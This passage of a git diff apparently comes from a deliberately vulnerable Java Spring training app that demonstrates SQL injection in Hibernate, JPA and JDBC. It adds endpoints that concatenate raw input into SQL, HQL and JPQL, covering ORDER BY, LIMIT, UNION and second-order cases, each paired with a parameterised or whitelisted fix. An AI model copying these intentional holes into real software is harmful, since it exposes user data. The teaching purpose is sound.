primaryDataSource.setMaxActive(20); + primaryDataSource.setMaxWait(30000); + primaryDataSource.setValidationQuery("SELECT 1 FROM DUAL"); + primaryDataSource.setTestWhileIdle(true); + primaryDataSource.setTimeBetweenEvictionRunsMillis(60000); + primaryDataSource.setMinEvictableIdleTimeMillis(300000); + primaryDataSource.setPoolPreparedStatements(true); + primaryDataSource.setMaxPoolPreparedStatementPerConnectionSize(20); + primaryDataSource.setLogAbandoned(true); + primaryDataSource.setRemoveAbandoned(true); + primaryDataSource.setRemoveAbandonedTimeout(180); + + DruidDataSource secondaryDataSource = new DruidDataSource(); + secondaryDataSource.setUrl(dataSourceProperties.getUrl()); + secondaryDataSource.setUsername(dataSourceProperties.getUsername()); + secondaryDataSource.setPassword(dataSourceProperties.getPassword()); + secondaryDataSource.setDriverClassName(dataSourceProperties.getDriverClassName()); + secondaryDataSource.setInitialSize(5); + secondaryDataSource.setMinIdle(5); + secondaryDataSource.setMaxActive(20); + secondaryDataSource.setMaxWait(30000); + secondaryDataSource.setValidationQuery("SELECT 1 FROM DUAL"); + secondaryDataSource.setTestWhileIdle(true); + secondaryDataSource.setTimeBetweenEvictionRunsMillis(60000); + secondaryDataSource.setMinEvictableIdleTimeMillis(300000); + secondaryDataSource.setPoolPreparedStatements(true); + secondaryDataSource.setMaxPoolPreparedStatementPerConnectionSize(20); + secondaryDataSource.setLogAbandoned(true); + secondaryDataSource.setRemoveAbandoned(true); + secondaryDataSource.setRemoveAbandonedTimeout(180); + + Map targetDataSources = new HashMap<>(); + targetDataSources.put("primary", primaryDataSource); + targetDataSources.put("secondary", secondaryDataSource); + + dataSource.setTargetDataSources(targetDataSources); + dataSource.setDefaultTargetDataSource(primaryDataSource); + + return dataSource; + } + + @Bean + @Primary + public LocalContainerEntityManagerFactoryBean entityManagerFactory(DataSource dataSource) { + LocalContainerEntityManagerFactoryBean em = new LocalContainerEntityManagerFactoryBean(); + em.setDataSource(dataSource); + em.setPackagesToScan("top.whgojp.modules.sqli.entity"); + + HibernateJpaVendorAdapter vendorAdapter = new HibernateJpaVendorAdapter(); + em.setJpaVendorAdapter(vendorAdapter); + + Map properties = new HashMap<>(); + properties.put("hibernate.hbm2ddl.auto", "update"); + properties.put("hibernate.dialect", "org.hibernate.dialect.MySQL8Dialect"); + em.setJpaPropertyMap(properties); + + return em; + } + + @Bean(name = "jpaTransactionManager") + @Primary + public JpaTransactionManager jpaTransactionManager(EntityManagerFactory emf) { + JpaTransactionManager transactionManager = new JpaTransactionManager(); + transactionManager.setEntityManagerFactory(emf); + return transactionManager; + } +} \ No newline at end of file diff --git a/src/main/java/top/whgojp/modules/sqli/config/DynamicDataSourceContextHolder.java b/src/main/java/top/whgojp/modules/sqli/config/DynamicDataSourceContextHolder.java new file mode 100644 index 0000000..02f50cf --- /dev/null +++ b/src/main/java/top/whgojp/modules/sqli/config/DynamicDataSourceContextHolder.java @@ -0,0 +1,17 @@ +package top.whgojp.modules.sqli.config; + +public class DynamicDataSourceContextHolder { + private static final ThreadLocal contextHolder = new ThreadLocal<>(); + + public static void setDataSourceType(String dataSourceType) { + contextHolder.set(dataSourceType); + } + + public static String getDataSourceType() { + return contextHolder.get(); + } + + public static void clearDataSourceType() { + contextHolder.remove(); + } +} \ No newline at end of file diff --git a/src/main/java/top/whgojp/modules/sqli/config/HibernateConfig.java b/src/main/java/top/whgojp/modules/sqli/config/HibernateConfig.java new file mode 100644 index 0000000..24c7871 --- /dev/null +++ b/src/main/java/top/whgojp/modules/sqli/config/HibernateConfig.java @@ -0,0 +1,52 @@ +package top.whgojp.modules.sqli.config; + +import org.hibernate.SessionFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.orm.hibernate5.HibernateTemplate; +import org.springframework.orm.hibernate5.HibernateTransactionManager; +import org.springframework.orm.hibernate5.LocalSessionFactoryBean; +import org.springframework.transaction.PlatformTransactionManager; + +import javax.sql.DataSource; +import java.util.Properties; + +@Configuration +public class HibernateConfig { + + @Autowired + private DataSource dataSource; + + @Bean + public LocalSessionFactoryBean sessionFactory() { + LocalSessionFactoryBean sessionFactory = new LocalSessionFactoryBean(); + sessionFactory.setDataSource(dataSource); + sessionFactory.setPackagesToScan("top.whgojp.modules.sqli.entity"); + + Properties hibernateProperties = new Properties(); + hibernateProperties.setProperty("hibernate.dialect", "org.hibernate.dialect.MySQLDialect"); + hibernateProperties.setProperty("hibernate.show_sql", "true"); + hibernateProperties.setProperty("hibernate.format_sql", "true"); + hibernateProperties.setProperty("hibernate.hbm2ddl.auto", "update"); + hibernateProperties.setProperty("hibernate.current_session_context_class", "thread"); + hibernateProperties.setProperty("hibernate.transaction.jta.platform", "org.hibernate.engine.transaction.jta.platform.internal.NoJtaPlatform"); + + sessionFactory.setHibernateProperties(hibernateProperties); + return sessionFactory; + } + + @Bean + public HibernateTemplate hibernateTemplate(SessionFactory sessionFactory) { + HibernateTemplate hibernateTemplate = new HibernateTemplate(); + hibernateTemplate.setSessionFactory(sessionFactory); + return hibernateTemplate; + } + + @Bean + public PlatformTransactionManager transactionManager(SessionFactory sessionFactory) { + HibernateTransactionManager transactionManager = new HibernateTransactionManager(); + transactionManager.setSessionFactory(sessionFactory); + return transactionManager; + } +} \ No newline at end of file diff --git a/src/main/java/top/whgojp/modules/sqli/controller/HibernateController.java b/src/main/java/top/whgojp/modules/sqli/controller/HibernateController.java index ad989e6..d7399a6 100644 --- a/src/main/java/top/whgojp/modules/sqli/controller/HibernateController.java +++ b/src/main/java/top/whgojp/modules/sqli/controller/HibernateController.java @@ -2,23 +2,14 @@ import io.swagger.annotations.*; import lombok.extern.slf4j.Slf4j; -import org.hibernate.Session; -import org.hibernate.SessionFactory; import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.orm.hibernate5.HibernateTemplate; import org.springframework.stereotype.Controller; +import org.springframework.transaction.annotation.Transactional; import org.springframework.web.bind.annotation.*; import top.whgojp.common.utils.R; -import top.whgojp.modules.sqli.entity.Hsqli; import top.whgojp.modules.sqli.entity.Sqli; -import top.whgojp.modules.system.entity.User; -import javax.transaction.SystemException; -import javax.transaction.Transaction; -import javax.transaction.Transactional; -import java.sql.Connection; -import java.sql.DriverManager; -import java.sql.ResultSet; -import java.sql.Statement; import java.util.List; /** @@ -27,104 +18,115 @@ * @email: whgojp@foxmail.com * @Date: 2024/4/28 10:13 */ -@Api(value = "HibernateController",tags = "SQL注入-Hibernate") +@Api(value = "HibernateController", tags = "SQL注入-Hibernate") @Slf4j @Controller @RequestMapping("/sqli/hibernate") public class HibernateController { @RequestMapping("") - public String sqliJdbc(){ + public String sqliHibernate() { return "vul/sqli/hibernate"; } - @Autowired - private SessionFactory sessionFactory; // 依赖注入 Hibernate SessionFactory + @Autowired(required = true) + private HibernateTemplate hibernateTemplate; - @ApiOperation(value = "漏洞场景:Hibernate-原生SQL语句拼接", notes = "演示SQL注入风险,模拟原生SQL语句动态拼接,参数未进行任何处理,存在严重安全风险") - @GetMapping("/vul") - @ApiImplicitParams({ - @ApiImplicitParam(name = "type", value = "操作类型", required = true, dataType = "String", paramType = "query", dataTypeClass = String.class), - @ApiImplicitParam(name = "id", value = "用户ID", dataType = "String", paramType = "query", dataTypeClass = String.class), - @ApiImplicitParam(name = "username", value = "用户名", dataType = "String", paramType = "query", dataTypeClass = String.class), - @ApiImplicitParam(name = "password", value = "密码", dataType = "String", paramType = "query", dataTypeClass = String.class) - }) + @RequestMapping("/vul1") @ResponseBody - @Transactional // 使用Spring的事务管理 - public R vul( - @ApiParam(name = "type", value = "操作类型", required = true) @RequestParam String type, - @ApiParam(name = "id", value = "用户ID") @RequestParam(required = false) String id, - @ApiParam(name = "username", value = "用户名") @RequestParam(required = false) String username, - @ApiParam(name = "password", value = "密码") @RequestParam(required = false) String password) { - - Session session = sessionFactory.getCurrentSession(); // 获取当前 Session - String message; + @ApiOperation(value = "原生SQL注入场景") + @Transactional(rollbackFor = Exception.class) + public R vul1(@RequestParam String username) { try { - switch (type) { - case "add": // 插入操作,存在SQL注入风险点 - // 新建用户对象并设置属性(未对输入进行任何过滤) - Hsqli newHsqli = new Hsqli(); - newHsqli.setUsername(username); - newHsqli.setPassword(password); - - // 直接保存对象到数据库 - session.save(newHsqli); - message = "数据插入成功 username:" + username + " password:" + password; // 直接拼接输出 - log.info(message); - return R.ok(message); - - case "delete": // 删除操作,注意此处可能引发SQL注入 - Hsqli deleteHsqli = session.get(Hsqli.class, Long.parseLong(id)); // 使用用户传入的id(未过滤) - if (deleteHsqli != null) { - session.delete(deleteHsqli); - message = "数据删除成功"; - } else { - message = "数据删除失败 用户ID:" + id + " 不存在!"; - } - log.info(message); - return R.ok(message); - - case "update": // 更新操作,存在SQL注入风险点 - Hsqli updateHsqli = session.get(Hsqli.class, Long.parseLong(id)); // 使用用户输入的id - if (updateHsqli != null) { - // 设置更新后的值(未对输入值进行过滤或校验) - updateHsqli.setUsername(username); - updateHsqli.setPassword(password); - session.update(updateHsqli); - message = "数据更新成功"; - } else { - message = "数据更新失败 用户ID不存在!"; - } - log.info(message); - return R.ok(message); - - case "select": // 查询操作,可能通过ID引入SQL注入 - Hsqli selectHsqli = session.get(Hsqli.class, Long.parseLong(id)); // 使用传入ID直接查询 - if (selectHsqli != null) { - message = "查询成功,用户名:" + selectHsqli.getUsername() + " 密码:" + selectHsqli.getPassword(); - } else { - message = "用户ID不存在"; - } - log.info(message); - return R.ok(message); - - default: - // 当type字段未匹配时,返回错误信息 - return R.error("type字段有误:传输数据异常,请检查^_^"); + String sql = "SELECT * FROM sqli WHERE username = '" + username + "'"; + List results = hibernateTemplate.execute(session -> + session.createNativeQuery(sql) + .addScalar("id", org.hibernate.type.IntegerType.INSTANCE) + .addScalar("username", org.hibernate.type.StringType.INSTANCE) + .addScalar("password", org.hibernate.type.StringType.INSTANCE) + .list() + ); + if (results == null || results.isEmpty()) { + return R.error("未找到记录"); } - } catch (NumberFormatException e) { - log.error("ID格式错误:" + e.getMessage()); - return R.error("ID格式错误:" + e.getMessage()); + StringBuilder sb = new StringBuilder(); + sb.append("查询成功,找到 ").append(results.size()).append(" 条记录\n"); + for (Object[] row : results) { + sb.append("ID: ").append(row[0]) + .append(", 用户名: ").append(row[1]) + .append(", 密码: ").append(row[2]) + .append("\n"); + } + String message = sb.toString(); + log.info(message); + return R.ok(message); } catch (Exception e) { - log.error("操作失败:" + e.toString()); - return R.error(e.toString()); + String errorMsg = e.getMessage(); + log.error("查询失败: {}", errorMsg, e); + return R.error(errorMsg); } } - - @GetMapping("/safe") - public R safe(){ - return R.ok(); + @RequestMapping("/vul2") + @ResponseBody + @ApiOperation(value = "HQL注入场景") + @Transactional(rollbackFor = Exception.class) + public R vul2(@RequestParam String username) { + try { + String hql = "FROM Sqli WHERE username = '" + username + "'"; + List results = hibernateTemplate.execute(session -> + session.createQuery(hql).list() + ); + if (results == null || results.isEmpty()) { + return R.error("未找到记录"); + } + StringBuilder sb = new StringBuilder(); + sb.append("查询成功,找到 ").append(results.size()).append(" 条记录\n"); + for (Sqli sqli : results) { + sb.append("ID: ").append(sqli.getId()) + .append(", 用户名: ").append(sqli.getUsername()) + .append(", 密码: ").append(sqli.getPassword()) + .append("\n"); + } + String message = sb.toString(); + log.info(message); + return R.ok(message); + } catch (Exception e) { + String errorMsg = e.getMessage(); + log.error("查询失败: {}", errorMsg, e); + return R.error(errorMsg); + } } - + @RequestMapping("/safe") + @ResponseBody + @ApiOperation(value = "安全查询场景") + @Transactional(rollbackFor = Exception.class) + public R safe(@RequestParam String username) { + try { + String hql = "FROM Sqli WHERE username = :username"; + List results = hibernateTemplate.execute(session -> + session.createQuery(hql) + .setParameter("username", username) + .list() + ); + if (results == null || results.isEmpty()) { + return R.error("未找到记录"); + } + StringBuilder sb = new StringBuilder(); + sb.append("查询成功,找到 ").append(results.size()).append(" 条记录\n"); + for (Sqli sqli : results) { + sb.append("ID: ").append(sqli.getId()) + .append(", 用户名: ").append(sqli.getUsername()) + .append(", 密码: ").append(sqli.getPassword()) + .append("\n"); + } + String message = sb.toString(); + log.info(message); + return R.ok(message); + } catch (Exception e) { + String errorMsg = e.getMessage(); + log.error("查询失败: {}", errorMsg, e); + return R.error(errorMsg); + } + } } diff --git a/src/main/java/top/whgojp/modules/sqli/controller/JPAController.java b/src/main/java/top/whgojp/modules/sqli/controller/JPAController.java index 3ddf9d5..51303da 100644 --- a/src/main/java/top/whgojp/modules/sqli/controller/JPAController.java +++ b/src/main/java/top/whgojp/modules/sqli/controller/JPAController.java @@ -1,24 +1,165 @@ package top.whgojp.modules.sqli.controller; -import io.swagger.annotations.Api; -import io.swagger.annotations.ApiOperation; +import io.swagger.annotations.*; +import lombok.extern.slf4j.Slf4j; import org.springframework.stereotype.Controller; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.transaction.annotation.Transactional; +import org.springframework.web.bind.annotation.*; +import top.whgojp.common.annotation.AuthIgnore; +import top.whgojp.common.utils.R; +import top.whgojp.modules.sqli.entity.Sqli; + +import javax.persistence.EntityManager; +import javax.persistence.PersistenceContext; +import javax.persistence.Query; +import javax.persistence.criteria.CriteriaBuilder; +import javax.persistence.criteria.CriteriaQuery; +import javax.persistence.criteria.Root; +import java.util.HashMap; +import java.util.List; +import java.util.Map; /** - * @description ORM框架-JPA下的sql注入问题 + * @description JPA SQL注入漏洞演示 * @author: whgojp * @email: whgojp@foxmail.com - * @Date: 2024/4/28 10:20 + * @Date: 2024/4/28 10:13 */ -@Api(value = "JPAController",tags = "SQL注入3-JPA") +@Api(value = "JpaController", tags = "SQL注入-JPA") +@Slf4j @Controller @RequestMapping("/sqli/jpa") public class JPAController { @RequestMapping("") - public String sqliJdbc(){ + public String sqliJpa() { return "vul/sqli/jpa"; } + + @PersistenceContext + private EntityManager entityManager; + + @RequestMapping("/vul1") + @ResponseBody + @AuthIgnore + @ApiOperation(value = "JPQL注入场景") + @Transactional(rollbackFor = Exception.class) + public R vul1(@RequestParam String username) { + try { + String jpql = "SELECT s FROM Sqli s WHERE s.username = '" + username + "'"; + Query query = entityManager.createQuery(jpql); + List results = query.getResultList(); + if (results == null || results.isEmpty()) { + return R.error("未找到记录"); + } + StringBuilder sb = new StringBuilder(); + sb.append("查询成功,找到 ").append(results.size()).append(" 条记录\n"); + for (Sqli sqli : results) { + sb.append("ID: ").append(sqli.getId()) + .append(", 用户名: ").append(sqli.getUsername()) + .append(", 密码: ").append(sqli.getPassword()) + .append("\n"); + } + String message = sb.toString(); + log.info(message); + return R.ok(message); + } catch (Exception e) { + String errorMsg = e.getMessage(); + log.error("查询失败: {}", errorMsg, e); + return R.error(errorMsg); + } + } + + @RequestMapping("/vul2") + @ResponseBody + @AuthIgnore + @ApiOperation(value = "JPA动态排序注入场景") + @Transactional(rollbackFor = Exception.class) + public R vul2(@RequestParam String orderBy) { + try { + String jpql = "SELECT s FROM Sqli s ORDER BY s." + orderBy; + Query query = entityManager.createQuery(jpql); + List results = query.getResultList(); + return R.ok(formatResults(results)); + } catch (Exception e) { + String errorMsg = e.getMessage(); + log.error("查询失败: {}", errorMsg, e); + return R.error(errorMsg); + } + } + + @RequestMapping("/safe") + @ResponseBody + @ApiOperation(value = "安全查询场景") + @Transactional(rollbackFor = Exception.class) + public R safe(@RequestParam String username) { + try { + String jpql = "SELECT s FROM Sqli s WHERE s.username = :username"; + Query query = entityManager.createQuery(jpql) + .setParameter("username", username); + List results = query.getResultList(); + if (results == null || results.isEmpty()) { + return R.error("未找到记录"); + } + StringBuilder sb = new StringBuilder(); + sb.append("查询成功,找到 ").append(results.size()).append(" 条记录\n"); + for (Sqli sqli : results) { + sb.append("ID: ").append(sqli.getId()) + .append(", 用户名: ").append(sqli.getUsername()) + .append(", 密码: ").append(sqli.getPassword()) + .append("\n"); + } + String message = sb.toString(); + log.info(message); + return R.ok(message); + } catch (Exception e) { + String errorMsg = e.getMessage(); + log.error("查询失败: {}", errorMsg, e); + return R.error(errorMsg); + } + } + + @RequestMapping("/safe-order") + @ResponseBody + @ApiOperation(value = "JPA动态排序安全场景") + @Transactional(rollbackFor = Exception.class) + public R safeOrder(@RequestParam String orderBy) { + try { + Map orderByMap = new HashMap<>(); + orderByMap.put("id", "id"); + orderByMap.put("username", "username"); + orderByMap.put("password", "password"); + + String safeOrderBy = orderByMap.get(orderBy); + if (safeOrderBy == null) { + return R.error("排序字段不合法"); + } + + CriteriaBuilder cb = entityManager.getCriteriaBuilder(); + CriteriaQuery cq = cb.createQuery(Sqli.class); + Root root = cq.from(Sqli.class); + cq.select(root).orderBy(cb.asc(root.get(safeOrderBy))); + + List results = entityManager.createQuery(cq).getResultList(); + return R.ok(formatResults(results)); + } catch (Exception e) { + String errorMsg = e.getMessage(); + log.error("查询失败: {}", errorMsg, e); + return R.error(errorMsg); + } + } + + private String formatResults(List results) { + if (results == null || results.isEmpty()) { + return "未找到记录"; + } + StringBuilder sb = new StringBuilder(); + sb.append("查询成功,找到 ").append(results.size()).append(" 条记录\n"); + for (Sqli sqli : results) { + sb.append("ID: ").append(sqli.getId()) + .append(", 用户名: ").append(sqli.getUsername()) + .append(", 密码: ").append(sqli.getPassword()) + .append("\n"); + } + return sb.toString(); + } } diff --git a/src/main/java/top/whgojp/modules/sqli/controller/JdbcController.java b/src/main/java/top/whgojp/modules/sqli/controller/JdbcController.java index 77a1c32..989d74c 100644 --- a/src/main/java/top/whgojp/modules/sqli/controller/JdbcController.java +++ b/src/main/java/top/whgojp/modules/sqli/controller/JdbcController.java @@ -21,6 +21,7 @@ import org.springframework.web.bind.annotation.*; import java.sql.*; +import java.util.List; import java.util.Map; @@ -40,11 +41,11 @@ public class JdbcController { private CheckUserInput checkUserInput; //指定数据库地址、用户名、密码 - @Value("${spring.datasource.url}") + @Value("${spring.datasource.primary.url}") private String dbUrl; - @Value("${spring.datasource.username}") + @Value("${spring.datasource.primary.username}") private String dbUser; - @Value("${spring.datasource.password}") + @Value("${spring.datasource.primary.password}") private String dbPass; @@ -60,7 +61,7 @@ public String sqliJdbcSafe() { @RequestMapping("/jdbcSpecial") public String sqliJdbcSpecial() { - return "vul/sqli/JdbcSpecial"; + return "vul/sqli/jdbcSpecial"; } @ApiOperation(value = "漏洞场景:JDBC-原生SQL语句拼接", notes = "原生sql语句动态拼接 参数未进行任何处理") @@ -290,19 +291,12 @@ public R vul3( return R.ok(message); case "select": sql = "SELECT * FROM sqli WHERE id = " + id; - Map stringObjectMap; - try { - stringObjectMap = jdbctemplate.queryForMap(sql); - } catch (EmptyResultDataAccessException e) { + List> resultList = jdbctemplate.queryForList(sql); + if (resultList.isEmpty()) { return R.error("用户ID不存在"); } - final JSONObject jsonObject = JSONUtil.createObj(); - jsonObject.put("result", stringObjectMap); - log.info(stringObjectMap.toString()); - String user = (String) stringObjectMap.get("username"); - String pass = (String) stringObjectMap.get("password"); - - message = "查询成功,用户名:" + user + " 密码:" + pass; + log.info(resultList.toString()); + message = "查询成功,找到 " + resultList.size() + " 条记录 " + JSONUtil.toJsonStr(resultList); return R.ok(message); default: @@ -370,7 +364,6 @@ public R safe1( stmt.setString(1, username); stmt.setString(2, password); stmt.setString(3, id); - stmt.executeUpdate(); rowsAffected = stmt.executeUpdate(); stmt.close(); @@ -405,7 +398,7 @@ public R safe1( } } - @ApiOperation(value = "安全代码:JdbcTemplate预编译", notes = "JDBCTemplate预编译 此时在常规DML场景有效的防止了SQL注入攻击的发生") + @ApiOperation(value = "安全代码:JdbcTemplate参数绑定", notes = "JdbcTemplate通过占位符和参数绑定分离SQL结构与参数值,可在常规DML场景中有效防止SQL注入") @GetMapping("/safe2") @ApiImplicitParams({ @ApiImplicitParam(name = "type", value = "操作类型", required = true, dataType = "String", paramType = "query", dataTypeClass = String.class), @@ -475,7 +468,7 @@ public R safe2( } } - @ApiOperation(value = "安全代码:自定义黑名单-用户输入过滤", notes = "检测用户输入是否存在敏感字符:'、;、--、+、,、%、=、>、<、*、(、)、and、or、exeinsert、select、delete、update、count、drop、chr、midmaster、truncate、char、declare") + @ApiOperation(value = "辅助方案:自定义黑名单-用户输入过滤", notes = "黑名单只能作为辅助检测或拦截,不应替代参数化查询。遗漏关键字、编码绕过、语法变形都可能导致绕过。") @ApiImplicitParams({ @ApiImplicitParam(name = "type", value = "操作类型", required = true, dataType = "String", paramType = "query", dataTypeClass = String.class), @ApiImplicitParam(name = "id", value = "用户ID", dataType = "String", paramType = "query", dataTypeClass = String.class), @@ -572,21 +565,30 @@ public R safe3( // 对用户输入进行校验后 同样也可以避免SQL注入 后续在MyBatis模块中 将通过validation模块 利用Spring框架提供的注解来对请求参数进行验证,从而确保它们满足特定的条件 @ApiOperation(value = "安全代码:数据类型-用户请求参数校验", notes = "强制类型转换 对用户请求参数进行校验") @ApiImplicitParams({ - @ApiImplicitParam(name = "id", value = "用户ID", dataType = "Integer", paramType = "query", dataTypeClass = Integer.class) // 这里使用了Integer类型 + @ApiImplicitParam(name = "id", value = "用户ID", dataType = "String", paramType = "query", dataTypeClass = String.class) }) @ResponseBody @GetMapping("/safe4") public R safe4( - @ApiParam(name = "id", value = "用户ID") @RequestParam(required = false) Integer id) { + @ApiParam(name = "id", value = "用户ID") @RequestParam(required = false) String id) { String sql = ""; try { + if (id == null || id.trim().isEmpty()) { + return R.error("请输入用户id"); + } + Integer userId; + try { + userId = Integer.valueOf(id); + } catch (NumberFormatException e) { + return R.error("用户ID必须为整数"); + } Class.forName("com.mysql.cj.jdbc.Driver"); Connection conn = DriverManager.getConnection(dbUrl, dbUser, dbPass); Statement stmt = conn.createStatement(); String message; - message = checkUserInput.checkUser(id); + message = checkUserInput.checkUser(userId); if (!message.isEmpty()) return R.error(message); - sql = "SELECT * FROM sqli WHERE id = " + id; + sql = "SELECT * FROM sqli WHERE id = " + userId; log.info("当前执行数据查询操作:" + sql); ResultSet rs = stmt.executeQuery(sql); if (!rs.next()) { @@ -607,7 +609,7 @@ public R safe4( } } - @ApiOperation(value = "安全代码:Web安全框架-采用ESAPI过滤", notes = "ESAPI提供了多种输入验证API,提供对XSS攻击和SQL注入攻击等的防护") + @ApiOperation(value = "辅助方案:ESAPI encodeForSQL", notes = "encodeForSQL是历史方案或特定数据库Codec场景下的补充手段,不推荐作为SQL注入的首选修复。优先使用参数化查询。") @ApiImplicitParam(name = "id", value = "用户ID", dataType = "String", paramType = "query", dataTypeClass = String.class) @GetMapping("/safe5") @ResponseBody @@ -618,7 +620,7 @@ public R safe5(@ApiParam(name = "id", value = "用户ID") @RequestParam(required Connection conn = DriverManager.getConnection(dbUrl, dbUser, dbPass); Statement stmt = conn.createStatement(); - // 使用了 Oracle 的编解码器 OracleCodec 和 ESAPI 库来对 ID 进行编码,以防止 SQL 注入攻击。 + // encodeForSQL是历史方案或特定数据库Codec场景下的补充手段,优先使用参数化查询。 String sql = "select * from sqli where id = '" + ESAPI.encoder().encodeForSQL(oracleCodec, id) + "'"; // String sql = "select * from sqli where id = '" + id + "'"; log.info("当前执行数据查询操作:" + sql); @@ -648,7 +650,7 @@ public R safe5(@ApiParam(name = "id", value = "用户ID") @RequestParam(required 并且预编译还与 MySQL Connector/J(JDBC驱动)的版本有关, Connector/J 5.0.5之前的版本默认支持预编译, Connector/J 5.0.5之后的版本默认不支持预编译, 所以我们用的Connector/J 5.0.5驱动以后版本的话默认都是没有打开预编译的 (如果需要打开预编译,需要配置 useServerPrepStmts 参数) */ - @ApiOperation(value = "特殊场景:使用prepareStatement时,order by下的sql注入问题", notes = "ORDER BY关键字用于按升序或降序对结果集进行排序。 由于order by后面需要紧跟column_name,而预编译是参数化字符串,而order by后面紧跟字符串就会不支持原有功能 使用默认排序,因此通常防御order by注入需要使用白名单的方式") + @ApiOperation(value = "特殊场景:使用prepareStatement时,order by下的sql注入问题", notes = "占位符只能绑定值,不能绑定列名、表名、关键字、排序方向等SQL结构。ORDER BY动态字段应使用枚举映射或白名单。") @GetMapping("/special1-OrderBy") @ApiImplicitParams({ @ApiImplicitParam(name = "type", value = "操作类型", required = true, dataType = "String", paramType = "query", dataTypeClass = String.class), @@ -688,7 +690,7 @@ public R special1OrderBy( return R.ok(jsonArray.toString()); case "prepareStatement": - // 可以测试下 预编译没有报错 不过插入语句不生效 默认使用主键升序 + // 占位符只能绑定值,不能把用户输入变成列名。这里不会按传入字段排序。 sql = "select * from sqli order by ?"; log.info("当前执行数据排序操作:" + sql + " 参数:" + field); preparedStatement = conn.prepareStatement(sql); @@ -708,11 +710,11 @@ public R special1OrderBy( } return R.ok(jsonArray.toString()); case "writeList": - sql = "SELECT * FROM sqli ORDER BY " + field; if (!checkUserInput.checkSqlWhiteList(field)) { log.error("field字段不合法!field:" + field); return R.error("field字段不合法!"); } + sql = "SELECT * FROM sqli ORDER BY " + field; log.info("当前执行数据排序操作:" + sql + " 参数:" + field); preparedStatement = conn.prepareStatement(sql); rs = preparedStatement.executeQuery(); @@ -831,11 +833,6 @@ public R special3Limit( sql = "SELECT * FROM sqli ORDER BY id DESC LIMIT " + size; log.info("当前执行数据查询操作:" + sql); rs = stmt.executeQuery(sql); - if (!rs.next()) { - stmt.close(); - conn.close(); - return R.error("没有相关用户信息"); - } JSONArray jsonArray = new JSONArray(); while (rs.next()) { String id = rs.getString("id"); @@ -849,12 +846,21 @@ public R special3Limit( } stmt.close(); conn.close(); + if (jsonArray.isEmpty()) { + return R.error("没有相关用户信息"); + } return R.ok(jsonArray.toString()); case "prepareStatement": // 使用预编译 sql = "SELECT * FROM sqli ORDER BY id DESC LIMIT ?"; log.info("执行的sql语句:" + sql); + int limitSize; + try { + limitSize = Integer.parseInt(size); + } catch (NumberFormatException e) { + return R.error("size必须为整数"); + } preparedStatement = conn.prepareStatement(sql); - preparedStatement.setString(1, size); + preparedStatement.setInt(1, limitSize); rs = preparedStatement.executeQuery(); jsonArray = new JSONArray(); @@ -878,4 +884,134 @@ public R special3Limit( } } + @ApiOperation(value = "特殊场景:二次SQL注入", notes = "第一次使用参数化写入恶意数据,第二次从数据库取出该数据并拼接进SQL时触发注入。") + @GetMapping("/special4-SecondOrder") + @ResponseBody + public R special4SecondOrder( + @ApiParam(name = "type", value = "操作类型:store、trigger、safeTrigger", required = true) @RequestParam String type, + @ApiParam(name = "id", value = "用户ID") @RequestParam(required = false) String id, + @ApiParam(name = "username", value = "用户名") @RequestParam(required = false) String username, + @ApiParam(name = "password", value = "密码") @RequestParam(required = false) String password + ) { + try { + Class.forName("com.mysql.cj.jdbc.Driver"); + try (Connection conn = DriverManager.getConnection(dbUrl, dbUser, dbPass)) { + switch (type) { + case "store": + if (username == null || username.trim().isEmpty()) { + return R.error("username不能为空!"); + } + String insertSql = "INSERT INTO sqli (username, password) VALUES (?, ?)"; + log.info("二次注入第一步,参数化写入数据: {}", insertSql); + try (PreparedStatement preparedStatement = conn.prepareStatement(insertSql, Statement.RETURN_GENERATED_KEYS)) { + preparedStatement.setString(1, username); + preparedStatement.setString(2, password); + int rowsAffected = preparedStatement.executeUpdate(); + String newId = ""; + try (ResultSet generatedKeys = preparedStatement.getGeneratedKeys()) { + if (generatedKeys.next()) { + newId = generatedKeys.getString(1); + } + } + return R.ok("数据写入成功,影响行数:" + rowsAffected + ",新用户ID:" + newId + "。下一步使用该ID触发二次查询。"); + } + case "trigger": + return queryByStoredUsername(conn, id, false); + case "safeTrigger": + return queryByStoredUsername(conn, id, true); + default: + return R.error("type字段有误:传输数据异常,请检查^_^"); + } + } + } catch (Exception e) { + log.error(e.toString()); + return R.error(e.toString()); + } + } + + @ApiOperation(value = "特殊场景:UNION联合查询回显", notes = "通过UNION SELECT拼接额外查询结果,使数据库名、当前用户等信息进入正常查询回显。") + @GetMapping("/special5-Union") + @ResponseBody + public R special5Union( + @ApiParam(name = "type", value = "操作类型:raw、prepareStatement", required = true) @RequestParam String type, + @ApiParam(name = "id", value = "用户ID或UNION Payload") @RequestParam(required = false) String id + ) { + String sql = ""; + try { + Class.forName("com.mysql.cj.jdbc.Driver"); + try (Connection conn = DriverManager.getConnection(dbUrl, dbUser, dbPass)) { + ResultSet rs; + switch (type) { + case "raw": + sql = "SELECT id, username, password FROM sqli WHERE id = " + id; + log.info("当前执行UNION回显查询操作: {}", sql); + try (Statement stmt = conn.createStatement()) { + rs = stmt.executeQuery(sql); + return R.ok(resultSetToJsonArray(rs).toString()); + } + case "prepareStatement": + sql = "SELECT id, username, password FROM sqli WHERE id = ?"; + log.info("当前执行UNION回显安全查询操作: {}", sql); + try (PreparedStatement preparedStatement = conn.prepareStatement(sql)) { + preparedStatement.setString(1, id); + rs = preparedStatement.executeQuery(); + return R.ok(resultSetToJsonArray(rs).toString()); + } + default: + return R.error("type字段有误:传输数据异常,请检查^_^"); + } + } + } catch (Exception e) { + log.error(e.toString()); + return R.error(e.toString()); + } + } + + private R queryByStoredUsername(Connection conn, String id, boolean safe) throws SQLException { + if (id == null || id.trim().isEmpty()) { + return R.error("id不能为空!"); + } + String usernameSql = "SELECT username FROM sqli WHERE id = ?"; + String storedUsername; + try (PreparedStatement preparedStatement = conn.prepareStatement(usernameSql)) { + preparedStatement.setString(1, id); + try (ResultSet rs = preparedStatement.executeQuery()) { + if (!rs.next()) { + return R.error("用户ID不存在!"); + } + storedUsername = rs.getString("username"); + } + } + + if (safe) { + String safeSql = "SELECT id, username, password FROM sqli WHERE username = ?"; + log.info("二次注入安全触发,参数化查询: {} 参数: {}", safeSql, storedUsername); + try (PreparedStatement preparedStatement = conn.prepareStatement(safeSql)) { + preparedStatement.setString(1, storedUsername); + try (ResultSet rs = preparedStatement.executeQuery()) { + return 